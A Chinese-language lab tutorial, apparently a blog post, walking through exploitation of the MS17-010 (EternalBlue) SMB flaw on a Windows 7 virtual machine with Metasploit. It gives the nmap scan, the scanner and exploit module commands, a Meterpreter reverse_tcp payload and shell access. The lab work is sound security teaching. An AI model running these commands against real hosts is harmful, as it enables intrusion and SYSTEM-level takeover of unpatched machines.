如何使用MSF复现MS17-010漏洞？
MSF概述
Metasploit Framework(MSF)是一款开源安全漏洞检测工具，附带数千个已知的软件漏洞，并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程，被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的，但是再后来的新版中，改成了用Ruby语言编写的了。在kali中，自带Metasploit工具。
MS17-010漏洞
漏洞介绍
MS17-010（永恒之蓝）爆发于2017年4月14日晚，是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限，以此来控制被入侵的计算机。甚至于2017年5月12日， 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，使全世界大范围内遭受了该勒索病毒，甚至波及到学校、大型企业、政府等机构，只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
存在漏洞的主机，只需要开放445端口即可被攻击，获取系统最高权限
影响版本
目前已知受影响的 Windows 版本包括但不限于：WindowsNT，Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8，Windows 2008、Windows 2008 R2、Windows Server 2012 SP0
漏洞复现
接下来在msf中利用ms17-010漏洞来攻击系统，以熟悉msf工具的使用
首先此次实验需要准备一台kali的虚拟机和一台windows 7的虚拟机进行实验。两台虚拟机需要在同一个网段，相互能ping通
复现环境
- 攻击机：kali，192.168.80.140
- 被攻击机：win7 x64，192.168.80.141 关闭防火墙
主机发现
在kali中使用nmap扫描win7
nmap 192.168.80.141 -O -sS -T4
#-O 操作系统识别如下发现主机开启了445端口，并且操作系统类型可能为win7
永恒之蓝漏洞探测
先进入msf，然后搜寻ms17-010的漏洞模块
msfconsole
#搜寻模块
search ms17-010
#使用模块
use 3我们先使用scanner模块对主机进行扫描，检测是否存在漏洞，使用use 3
进入到该模块之后，可以使用info查看该漏洞模块的具体介绍信息
info那怎么利用这个模块来对主机进行扫描了？使用show options选项，查看我们要输入的具体参数，其中标注了yes的选项是必须的参数，若这个参数为空，则需要我们填写。RHOSTS选项为空，所以我们需要填写，RHOSTS代表要攻击的目标。输入r然后按tab键可以自动补全该参数
show options
set rhosts 192.168.80.141
下面就可以执行扫描攻击
run显示主机很可能能够会受到永恒之蓝漏洞的攻击,这里的IP由192.168.80.141变成192.168.80.143
漏洞攻击
检测存在漏洞后，就可以尝试对漏洞进行攻击，我们选择漏洞利用模块，然后和上面的操作一样，填写必须的参数
search 17-010 use 0 #设置payload连接的方式，reverse_tcp为反向连接，即受害机主动连接攻击机，以获取shell set payload windows/x64/meterpreter/reverse_tcp show options set rhosts 192.168.80.143
执行攻击，返回一个meterpreter 会话，通过该会话可以控制目标主机，成功拿下主机system权限
拿到主机权限后，可以进入该主机的shell(cmd)，执行cmd命令
#进入dos命令行
shell
#切换编码，解决乱码问题
chcp 65001
ipconfig如下执行ipconfig命令
至此，整个攻击过程结束。
暂时不用这个会话了，可以退出当前shell，然后把该会话放到msf后台
exit
background
查看所有连接的会话，随时可以进入某个会话
sessions
sessions -i id号